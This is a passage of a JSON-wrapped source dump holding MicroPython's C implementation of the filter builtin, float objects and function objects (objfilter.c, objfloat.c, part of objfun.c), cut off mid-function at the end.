    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_FILTER\n\ntypedef struct _mp_obj_filter_t {\n    mp_obj_base_t base;\n    mp_obj_t fun;\n    mp_obj_t iter;\n} mp_obj_filter_t;\n\nSTATIC mp_obj_t filter_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_arg_check_num(n_args, n_kw, 2, 2, false);\n    mp_obj_filter_t *o = m_new_obj(mp_obj_filter_t);\n    o->base.type = type;\n    o->fun = args[0];\n    o->iter = mp_getiter(args[1], NULL);\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC mp_obj_t filter_iternext(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_filter));\n    mp_obj_filter_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_t next;\n    while ((next = mp_iternext(self->iter)) != MP_OBJ_STOP_ITERATION) {\n        mp_obj_t val;\n        if (self->fun != mp_const_none) {\n            val = mp_call_function_n_kw(self->fun, 1, 0, &next);\n        } else {\n            val = next;\n        }\n        if (mp_obj_is_true(val)) {\n            return next;\n        }\n    }\n    return MP_OBJ_STOP_ITERATION;\n}\n\nconst mp_obj_type_t mp_type_filter = {\n    { &mp_type_type },\n    .name = MP_QSTR_filter,\n    .make_new = filter_make_new,\n    .getiter = mp_identity_getiter,\n    .iternext = filter_iternext,\n};\n\n#endif // MICROPY_PY_BUILTINS_FILTER\n"
  },
  {
    "path": "micropython/source/py/objfloat.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/parsenum.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_BUILTINS_FLOAT\n\n#include <math.h>\n#include \"py/formatfloat.h\"\n\n#if MICROPY_OBJ_REPR != MICROPY_OBJ_REPR_C && MICROPY_OBJ_REPR != MICROPY_OBJ_REPR_D\n\n// M_E and M_PI are not part of the math.h standard and may not be defined\n#ifndef M_E\n#define M_E (2.7182818284590452354)\n#endif\n#ifndef M_PI\n#define M_PI (3.14159265358979323846)\n#endif\n\ntypedef struct _mp_obj_float_t {\n    mp_obj_base_t base;\n    mp_float_t value;\n} mp_obj_float_t;\n\nconst mp_obj_float_t mp_const_float_e_obj = {{&mp_type_float}, M_E};\nconst mp_obj_float_t mp_const_float_pi_obj = {{&mp_type_float}, M_PI};\n\n#endif\n\n#if MICROPY_FLOAT_HIGH_QUALITY_HASH\n// must return actual integer value if it fits in mp_int_t\nmp_int_t mp_float_hash(mp_float_t src) {\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_DOUBLE\ntypedef uint64_t mp_float_uint_t;\n#elif MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\ntypedef uint32_t mp_float_uint_t;\n#endif\n    union {\n        mp_float_t f;\n        #if MP_ENDIANNESS_LITTLE\n        struct { mp_float_uint_t frc:MP_FLOAT_FRAC_BITS, exp:MP_FLOAT_EXP_BITS, sgn:1; } p;\n        #else\n        struct { mp_float_uint_t sgn:1, exp:MP_FLOAT_EXP_BITS, frc:MP_FLOAT_FRAC_BITS; } p;\n        #endif\n        mp_float_uint_t i;\n    } u = {.f = src};\n\n    mp_int_t val;\n    const int adj_exp = (int)u.p.exp - MP_FLOAT_EXP_BIAS;\n    if (adj_exp < 0) {\n        // value < 1; must be sure to handle 0.0 correctly (ie return 0)\n        val = u.i;\n    } else {\n        // if adj_exp is max then: u.p.frc==0 indicates inf, else NaN\n        // else: 1 <= value\n        mp_float_uint_t frc = u.p.frc | ((mp_float_uint_t)1 << MP_FLOAT_FRAC_BITS);\n\n        if (adj_exp <= MP_FLOAT_FRAC_BITS) {\n            // number may have a fraction; xor the integer part with the fractional part\n            val = (frc >> (MP_FLOAT_FRAC_BITS - adj_exp))\n                ^ (frc & ((1 << (MP_FLOAT_FRAC_BITS - adj_exp)) - 1));\n        } else if ((unsigned int)adj_exp < BITS_PER_BYTE * sizeof(mp_int_t) - 1) {\n            // the number is a (big) whole integer and will fit in val's signed-width\n            val = (mp_int_t)frc << (adj_exp - MP_FLOAT_FRAC_BITS);\n        } else {\n            // integer part will overflow val's width so just use what bits we can\n            val = frc;\n        }\n    }\n\n    if (u.p.sgn) {\n        val = -val;\n    }\n\n    return val;\n}\n#endif\n\nSTATIC void float_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_float_t o_val = mp_obj_float_get(o_in);\n#if MICROPY_FLOAT_IMPL == MICROPY_FLOAT_IMPL_FLOAT\n    char buf[16];\n    #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_C\n    const int precision = 6;\n    #else\n    const int precision = 7;\n    #endif\n#else\n    char buf[32];\n    const int precision = 16;\n#endif\n    mp_format_float(o_val, buf, sizeof(buf), 'g', precision, '\\0');\n    mp_print_str(print, buf);\n    if (strchr(buf, '.') == NULL && strchr(buf, 'e') == NULL && strchr(buf, 'n') == NULL) {\n        // Python floats always have decimal point (unless inf or nan)\n        mp_print_str(print, \".0\");\n    }\n}\n\nSTATIC mp_obj_t float_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    mp_arg_check_num(n_args, n_kw, 0, 1, false);\n\n    switch (n_args) {\n        case 0:\n            return mp_obj_new_float(0);\n\n        case 1:\n        default:\n            if (MP_OBJ_IS_STR(args[0])) {\n                // a string, parse it\n                size_t l;\n                const char *s = mp_obj_str_get_data(args[0], &l);\n                return mp_parse_num_decimal(s, l, false, false, NULL);\n            } else if (mp_obj_is_float(args[0])) {\n                // a float, just return it\n                return args[0];\n            } else {\n                // something else, try to cast it to a float\n                return mp_obj_new_float(mp_obj_get_float(args[0]));\n            }\n    }\n}\n\nSTATIC mp_obj_t float_unary_op(mp_uint_t op, mp_obj_t o_in) {\n    mp_float_t val = mp_obj_float_get(o_in);\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(val != 0);\n        case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT(mp_float_hash(val));\n        case MP_UNARY_OP_POSITIVE: return o_in;\n        case MP_UNARY_OP_NEGATIVE: return mp_obj_new_float(-val);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t float_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    mp_float_t lhs_val = mp_obj_float_get(lhs_in);\n#if MICROPY_PY_BUILTINS_COMPLEX\n    if (MP_OBJ_IS_TYPE(rhs_in, &mp_type_complex)) {\n        return mp_obj_complex_binary_op(op, lhs_val, 0, rhs_in);\n    } else\n#endif\n    {\n        return mp_obj_float_binary_op(op, lhs_val, rhs_in);\n    }\n}\n\nconst mp_obj_type_t mp_type_float = {\n    { &mp_type_type },\n    .name = MP_QSTR_float,\n    .print = float_print,\n    .make_new = float_make_new,\n    .unary_op = float_unary_op,\n    .binary_op = float_binary_op,\n};\n\n#if MICROPY_OBJ_REPR != MICROPY_OBJ_REPR_C && MICROPY_OBJ_REPR != MICROPY_OBJ_REPR_D\n\nmp_obj_t mp_obj_new_float(mp_float_t value) {\n    mp_obj_float_t *o = m_new(mp_obj_float_t, 1);\n    o->base.type = &mp_type_float;\n    o->value = value;\n    return MP_OBJ_FROM_PTR(o);\n}\n\nmp_float_t mp_obj_float_get(mp_obj_t self_in) {\n    assert(mp_obj_is_float(self_in));\n    mp_obj_float_t *self = MP_OBJ_TO_PTR(self_in);\n    return self->value;\n}\n\n#endif\n\nSTATIC void mp_obj_float_divmod(mp_float_t *x, mp_float_t *y) {\n    // logic here follows that of CPython\n    // https://docs.python.org/3/reference/expressions.html#binary-arithmetic-operations\n    // x == (x//y)*y + (x%y)\n    // divmod(x, y) == (x//y, x%y)\n    mp_float_t mod = MICROPY_FLOAT_C_FUN(fmod)(*x, *y);\n    mp_float_t div = (*x - mod) / *y;\n\n    // Python specs require that mod has same sign as second operand\n    if (mod == 0.0) {\n        mod = MICROPY_FLOAT_C_FUN(copysign)(0.0, *y);\n    } else {\n        if ((mod < 0.0) != (*y < 0.0)) {\n            mod += *y;\n            div -= 1.0;\n        }\n    }\n\n    mp_float_t floordiv;\n    if (div == 0.0) {\n        // if division is zero, take the correct sign of zero\n        floordiv = MICROPY_FLOAT_C_FUN(copysign)(0.0, *x / *y);\n    } else {\n        // Python specs require that x == (x//y)*y + (x%y)\n        floordiv = MICROPY_FLOAT_C_FUN(floor)(div);\n        if (div - floordiv > 0.5) {\n            floordiv += 1.0;\n        }\n    }\n\n    // return results\n    *x = floordiv;\n    *y = mod;\n}\n\nmp_obj_t mp_obj_float_binary_op(mp_uint_t op, mp_float_t lhs_val, mp_obj_t rhs_in) {\n    mp_float_t rhs_val = mp_obj_get_float(rhs_in); // can be any type, this function will convert to float (if possible)\n    switch (op) {\n        case MP_BINARY_OP_ADD:\n        case MP_BINARY_OP_INPLACE_ADD: lhs_val += rhs_val; break;\n        case MP_BINARY_OP_SUBTRACT:\n        case MP_BINARY_OP_INPLACE_SUBTRACT: lhs_val -= rhs_val; break;\n        case MP_BINARY_OP_MULTIPLY:\n        case MP_BINARY_OP_INPLACE_MULTIPLY: lhs_val *= rhs_val; break;\n        case MP_BINARY_OP_FLOOR_DIVIDE:\n        case MP_BINARY_OP_INPLACE_FLOOR_DIVIDE:\n            if (rhs_val == 0) {\n                zero_division_error:\n                mp_raise_msg(&mp_type_ZeroDivisionError, \"division by zero\");\n            }\n            // Python specs require that x == (x//y)*y + (x%y) so we must\n            // call divmod to compute the correct floor division, which\n            // returns the floor divide in lhs_val.\n            mp_obj_float_divmod(&lhs_val, &rhs_val);\n            break;\n        case MP_BINARY_OP_TRUE_DIVIDE:\n        case MP_BINARY_OP_INPLACE_TRUE_DIVIDE:\n            if (rhs_val == 0) {\n                goto zero_division_error;\n            }\n            lhs_val /= rhs_val;\n            break;\n        case MP_BINARY_OP_MODULO:\n        case MP_BINARY_OP_INPLACE_MODULO:\n            if (rhs_val == 0) {\n                goto zero_division_error;\n            }\n            lhs_val = MICROPY_FLOAT_C_FUN(fmod)(lhs_val, rhs_val);\n            // Python specs require that mod has same sign as second operand\n            if (lhs_val == 0.0) {\n                lhs_val = MICROPY_FLOAT_C_FUN(copysign)(0.0, rhs_val);\n            } else {\n                if ((lhs_val < 0.0) != (rhs_val < 0.0)) {\n                    lhs_val += rhs_val;\n                }\n            }\n            break;\n        case MP_BINARY_OP_POWER:\n        case MP_BINARY_OP_INPLACE_POWER:\n            if (lhs_val == 0 && rhs_val < 0) {\n                goto zero_division_error;\n            }\n            lhs_val = MICROPY_FLOAT_C_FUN(pow)(lhs_val, rhs_val);\n            break;\n        case MP_BINARY_OP_DIVMOD: {\n            if (rhs_val == 0) {\n                goto zero_division_error;\n            }\n            mp_obj_float_divmod(&lhs_val, &rhs_val);\n            mp_obj_t tuple[2] = {\n                mp_obj_new_float(lhs_val),\n                mp_obj_new_float(rhs_val),\n            };\n            return mp_obj_new_tuple(2, tuple);\n        }\n        case MP_BINARY_OP_LESS: return mp_obj_new_bool(lhs_val < rhs_val);\n        case MP_BINARY_OP_MORE: return mp_obj_new_bool(lhs_val > rhs_val);\n        case MP_BINARY_OP_EQUAL: return mp_obj_new_bool(lhs_val == rhs_val);\n        case MP_BINARY_OP_LESS_EQUAL: return mp_obj_new_bool(lhs_val <= rhs_val);\n        case MP_BINARY_OP_MORE_EQUAL: return mp_obj_new_bool(lhs_val >= rhs_val);\n\n        default:\n            return MP_OBJ_NULL; // op not supported\n    }\n    return mp_obj_new_float(lhs_val);\n}\n\n#endif // MICROPY_PY_BUILTINS_FLOAT\n"
  },
  {
    "path": "micropython/source/py/objfun.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/objtuple.h\"\n#include \"py/objfun.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/bc.h\"\n#include \"py/stackctrl.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_PRINT (1)\n#else // don't print debugging info\n#define DEBUG_PRINT (0)\n#define DEBUG_printf(...) (void)0\n#endif\n\n// Note: the \"name\" entry in mp_obj_type_t for a function type must be\n// MP_QSTR_function because it is used to determine if an object is of generic\n// function type.\n\n/******************************************************************************/\n/* builtin functions                                                          */\n\nSTATIC mp_obj_t fun_builtin_0_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)args;\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_0));\n    mp_obj_fun_builtin_fixed0_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_arg_check_num(n_args, n_kw, 0, 0, false);\n    return self->fun();\n}\n\nconst mp_obj_type_t mp_type_fun_builtin_0 = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n    .call = fun_builtin_0_call,\n    .unary_op = mp_generic_unary_op,\n};\n\nSTATIC mp_obj_t fun_builtin_1_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_1));\n    mp_obj_fun_builtin_fixed1_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_arg_check_num(n_args, n_kw, 1, 1, false);\n    return self->fun(args[0]);\n}\n\nconst mp_obj_type_t mp_type_fun_builtin_1 = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n    .call = fun_builtin_1_call,\n    .unary_op = mp_generic_unary_op,\n};\n\nSTATIC mp_obj_t fun_builtin_2_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_2));\n    mp_obj_fun_builtin_fixed2_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_arg_check_num(n_args, n_kw, 2, 2, false);\n    return self->fun(args[0], args[1]);\n}\n\nconst mp_obj_type_t mp_type_fun_builtin_2 = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n    .call = fun_builtin_2_call,\n    .unary_op = mp_generic_unary_op,\n};\n\nSTATIC mp_obj_t fun_builtin_3_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_3));\n    mp_obj_fun_builtin_fixed3_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_arg_check_num(n_args, n_kw, 3, 3, false);\n    return self->fun(args[0], args[1], args[2]);\n}\n\nconst mp_obj_type_t mp_type_fun_builtin_3 = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n    .call = fun_builtin_3_call,\n    .unary_op = mp_generic_unary_op,\n};\n\nSTATIC mp_obj_t fun_builtin_var_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_fun_builtin_var));\n    mp_obj_fun_builtin_var_t *self = MP_OBJ_TO_PTR(self_in);\n\n    // check number of arguments\n    mp_arg_check_num(n_args, n_kw, self->n_args_min, self->n_args_max, self->is_kw);\n\n    if (self->is_kw) {\n        // function allows keywords\n\n        // we create a map directly from the given args array\n        mp_map_t kw_args;\n        mp_map_init_fixed_table(&kw_args, n_kw, args + n_args);\n\n        return ((mp_obj_fun_builtin_kw_t*)self)->fun(n_args, args, &kw_args);\n\n    } else {\n        // function takes a variable number of arguments, but no keywords\n\n        return self->fun(n_args, args);\n    }\n}\n\nconst mp_obj_type_t mp_type_fun_builtin_var = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n    .call = fun_builtin_var_call,\n    .unary_op = mp_generic_unary_op,\n};\n\n/******************************************************************************/\n/* byte code functions                                                        */\n\nqstr mp_obj_code_get_name(const byte *code_info) {\n    code_info = mp_decode_uint_skip(code_info); // skip code_info_size entry\n    #if MICROPY_PERSISTENT_CODE\n    return code_info[0] | (code_info[1] << 8);\n    #else\n    return mp_decode_uint_value(code_info);\n    #endif\n}\n\n#if MICROPY_EMIT_NATIVE\nSTATIC const mp_obj_type_t mp_type_fun_native;\n#endif\n\nqstr mp_obj_fun_get_name(mp_const_obj_t fun_in) {\n    const mp_obj_fun_bc_t *fun = MP_OBJ_TO_PTR(fun_in);\n    #if MICROPY_EMIT_NATIVE\n    if (fun->base.type == &mp_type_fun_native) {\n        // TODO native functions don't have name stored\n        return MP_QSTR_;\n    }\n    #endif\n\n    const byte *bc = fun->bytecode;\n    bc = mp_decode_uint_skip(bc); // skip n_state\n    bc = mp_decode_uint_skip(bc); // skip n_exc_stack\n    bc++; // skip scope_params\n    bc++; // skip n_pos_args\n    bc++; // skip n_kwonly_args\n    bc++; // skip n_def_pos_args\n    return mp_obj_code_get_name(bc);\n}\n\n#if MICROPY_CPYTHON_COMPAT\nSTATIC void fun_bc_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_fun_bc_t *o = MP_OBJ_TO_PTR(o_in);\n    mp_printf(print, \"<function %q at 0x%p>\", mp_obj_fun_get_name(o_in), o);\n}\n#endif\n\n#if DEBUG_PRINT\nSTATIC void dump_args(const mp_obj_t *a, size_t sz) {\n    DEBUG_printf(\"%p: \", a);\n    for (size_t i = 0; i < sz; i++) {\n        DEBUG_printf(\"%p \", a[i]);\n    }\n    DEBUG_printf(\"\\n\");\n}\n#else\n#define dump_args(...) (void)0\n#endif\n\n// With this macro you can tune the maximum number of function state bytes\n// that will be allocated on the stack.  Any function that needs more\n// than this will try to use the heap, with fallback to stack allocation.\n#define VM_MAX_STATE_ON_STACK (11 * sizeof(mp_uint_t))\n\n// Set this to enable a simple stack overflow check.\n#define VM_DETECT_STACK_OVERFLOW (0)\n\n#if MICROPY_STACKLESS\nmp_code_state_t *mp_obj_fun_bc_prepare_codestate(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    MP_STACK_CHECK();\n    mp_obj_fun_bc_t *self = MP_OBJ_TO_PTR(self_in);\n\n    // bytecode prelude: state size and exception stack size\n    size_t n_state = mp_decode_uint_value(self->bytecode);\n    size_t n_exc_stack = mp_decode_uint_value(mp_decode_uint_skip(self->bytecode));\n\n    // allocate state for locals and stack\n    size_t state_size = n_state * sizeof(mp_obj_t) + n_exc_stack * sizeof(mp_exc_stack_t);\n    mp_code_state_t *code_state;\n    code_state = m_new_obj_var_maybe(mp_code_state_t, byte, state_size);\n    if (!code_state) {\n        return NULL;\n    }\n\n    code_state->fun_bc = self;\n    code_state->ip = 0;\n    mp_setup_code_state(code_state, n_args, n_kw, args);\n\n    // execute the byte code with the correct globals context\n    code_state->old_globals = mp_globals_get();\n    mp_globals_set(self->globals);\n\n    return code_state;\n}\n#endif\n\nSTATIC mp_obj_t fun_bc_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    MP_STACK_CHECK();\n\n    DEBUG_printf(\"Input n_args: \" UINT_FMT \", n_kw: \" UINT_FMT \"\\n\", n_args, n_kw);\n    DEBUG_printf(\"Input pos args: \");\n    dump_args(args, n_args);\n    DEBUG_printf(\"Input kw args: \");\n    dump_args(args + n_args, n_kw * 2);\n    mp_obj_fun_bc_t *self = MP_OBJ_TO_PTR(self_in);\n    DEBUG_printf(\"Func n_def_args: %d\\n\", self->n_def_args);\n\n    // bytecode prelude: state size and exception stack size\n    size_t n_state = mp_decode_uint_value(self->bytecode);\n    size_t n_exc_stack = mp_decode_uint_value(mp_decode_uint_skip(self->bytecode));\n\n#if VM_DETECT_STACK_OVERFLOW\n    n_state += 1;\n#endif\n\n    // allocate state for locals and stack\n    size_t state_size = n_state * sizeof(mp_obj_t) + n_exc_stack * sizeof(mp_exc_stack_t);\n    mp_code_state_t *code_state = NULL;\n    if (state_size > VM_MAX_STATE_ON_STACK) {\n        code_state = m_new_obj_var_maybe(mp_code_state_t, byte, state_size);\n    }\n    if (code_state == NULL) {\n        code_state = alloca(sizeof(mp_code_state_t) + state_size);\n        state_size = 0; // indicate that we allocated using alloca\n    }\n\n    code_state->fun_bc = self;\n    code_state->ip = 0;\n    mp_setup_code_state(code_state, n_args, n_kw, args);\n\n    // execute the byte code with the correct globals context\n    code_state->old_globals = mp_globals_get();\n    mp_globals_set(self->globals);\n    mp_vm_return_kind_t vm_return_kind = mp_execute_bytecode(code_state, MP_OBJ_NULL);\n    mp_globals_set(code_state->old_globals);\n\n#if VM_DETECT_STACK_OVERFLOW\n    if (vm_return_kind == MP_VM_RETURN_NORMAL) {\n        if (code_state->sp < code_state->state) {\n            printf(\"VM stack underflow: \" INT_FMT \"\\n\", code_state->sp - code_state->state);\n            assert(0);\n        }\n    }\n    // We can't check the case when an exception is returned in state[n_state - 1]\n    // and there are no arguments, because in this case our detection slot may have\n    // been overwritten by the returned exception (which is allowed).\n    if (!(vm_return_kind == MP_VM_RETURN_EXCEPTION && self->n_pos_args + self->n_kwonly_args == 0)) {\n        // Just check to see that we have at least 1 null object left in the state.\n        bool overflow = true;\n        for (size_t i = 0; i < n_state - self->n_pos_args - self->n_kwonly_args; i++) {\n            if (code_state->state[i] == MP_OBJ_NULL) {\n                overflow = false;\n                break;\n            }\n        }\n        if (overflow) {\n            printf(\"VM stack overflow state=%p n_state+1=\" UINT_FMT \"\\n\", code_state->state, n_state);\n            assert(0);\n        }\n    }\n#endif\n\n    mp_obj_t result;\n    if (vm_return_kind == MP_VM_RETURN_NORMAL) {\n        // return value is in *sp\n        result = *code_state->sp;\n    } else {\n        // must be an exception because normal functions can't yield\n        assert(vm_return_kind == MP_VM_RETURN_EXCEPTION);\n        // return value is in fastn[0]==state[n_state - 1]\n        result = code_state->state[n_state - 1];\n    }\n\n    // free the state if it was allocated on the heap\n    if (state_size != 0) {\n        m_del_var(mp_code_state_t, byte, state_size, code_state);\n    }\n\n    if (vm_return_kind == MP_VM_RETURN_NORMAL) {\n        return result;\n    } else { // MP_VM_RETURN_EXCEPTION\n        nlr_raise(result);\n    }\n}\n\n#if MICROPY_PY_FUNCTION_ATTRS\nSTATIC void fun_bc_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    if (dest[0] != MP_OBJ_NULL) {\n        // not load attribute\n        return;\n    }\n    if (attr == MP_QSTR___name__) {\n        dest[0] = MP_OBJ_NEW_QSTR(mp_obj_fun_get_name(self_in));\n    }\n}\n#endif\n\nconst mp_obj_type_t mp_type_fun_bc = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n#if MICROPY_CPYTHON_COMPAT\n    .print = fun_bc_print,\n#endif\n    .call = fun_bc_call,\n    .unary_op = mp_generic_unary_op,\n#if MICROPY_PY_FUNCTION_ATTRS\n    .attr = fun_bc_attr,\n#endif\n};\n\nmp_obj_t mp_obj_new_fun_bc(mp_obj_t def_args_in, mp_obj_t def_kw_args, const byte *code, const mp_uint_t *const_table) {\n    size_t n_def_args = 0;\n    size_t n_extra_args = 0;\n    mp_obj_tuple_t *def_args = MP_OBJ_TO_PTR(def_args_in);\n    if (def_args_in != MP_OBJ_NULL) {\n        assert(MP_OBJ_IS_TYPE(def_args_in, &mp_type_tuple));\n        n_def_args = def_args->len;\n        n_extra_args = def_args->len;\n    }\n    if (def_kw_args != MP_OBJ_NULL) {\n        n_extra_args += 1;\n    }\n    mp_obj_fun_bc_t *o = m_new_obj_var(mp_obj_fun_bc_t, mp_obj_t, n_extra_args);\n    o->base.type = &mp_type_fun_bc;\n    o->globals = mp_globals_get();\n    o->bytecode = code;\n    o->const_table = const_table;\n    if (def_args != NULL) {\n        memcpy(o->extra_args, def_args->items, n_def_args * sizeof(mp_obj_t));\n    }\n    if (def_kw_args != MP_OBJ_NULL) {\n        o->extra_args[n_def_args] = def_kw_args;\n    }\n    return MP_OBJ_FROM_PTR(o);\n}\n\n/******************************************************************************/\n/* native functions                                                           */\n\n#if MICROPY_EMIT_NATIVE\n\nSTATIC mp_obj_t fun_native_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    MP_STACK_CHECK();\n    mp_obj_fun_bc_t *self = self_in;\n    mp_call_fun_t fun = MICROPY_MAKE_POINTER_CALLABLE((void*)self->bytecode);\n    return fun(self_in, n_args, n_kw, args);\n}\n\nSTATIC const mp_obj_type_t mp_type_fun_native = {\n    { &mp_type_type },\n    .name = MP_QSTR_function,\n    .call = fun_native_call,\n    .unary_op = mp_generic_unary_op,\n};\n\nmp_obj_t mp_obj_new_fun_native(mp_obj_t def_args_in, mp_obj_t def_kw_args, const void *fun_data, const mp_uint_t *const_table) {\n    mp_obj_fun_bc_t *o = mp_obj_new_fun_bc(def_args_in, def_kw_args, (const byte*)fun_data, const_table);\n    o->base.type = &mp_type_fun_native;\n    return o;\n}\n\n#endif // MICROPY_EMIT_NATIVE\n\n/******************************************************************************/\n/* viper functions                                                            */\n\n#if MICROPY_EMIT_NATIVE\n\ntypedef struct _mp_obj_fun_viper_t {\n    mp_obj_base_t base;\n    size_t n_args;\n    void *fun_data; // GC must be able to trace this pointer\n    mp_uint_t type_sig;\n} mp_obj_fun_viper_t;\n\ntypedef mp_uint_t (*viper_fun_0_t)(void);\ntypedef mp_uint_t (*viper_fun_1_t)(mp_uint_t);\ntypedef mp_uint_t (*viper_fun_2_t)(mp_uint_t, mp_uint_t);\ntypedef mp_uint_t (*viper_fun_3_t)(mp_uint_t, mp_uint_t, mp_uint_t);\ntypedef mp_uint_t (*viper_fun_4_t)(mp_uint_t, mp_uint_t, mp_uint_t, mp_uint_t);\n\nSTATIC mp_obj_t fun_viper_call(mp_obj_t self_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_obj_fun_viper_t *self = self_in;\n\n    mp_arg_check_num(n_args, n_kw, self->n_args, self->n_args, false);\n\n    void *fun = MICROPY_MAKE_POINTER_CALLABLE(self->fun_data);\n\n    mp_uint_t ret;\n    if (n_args == 0) {\n        ret = ((viper_fun_0_t)fun)();\n    } else if (n_args == 1) 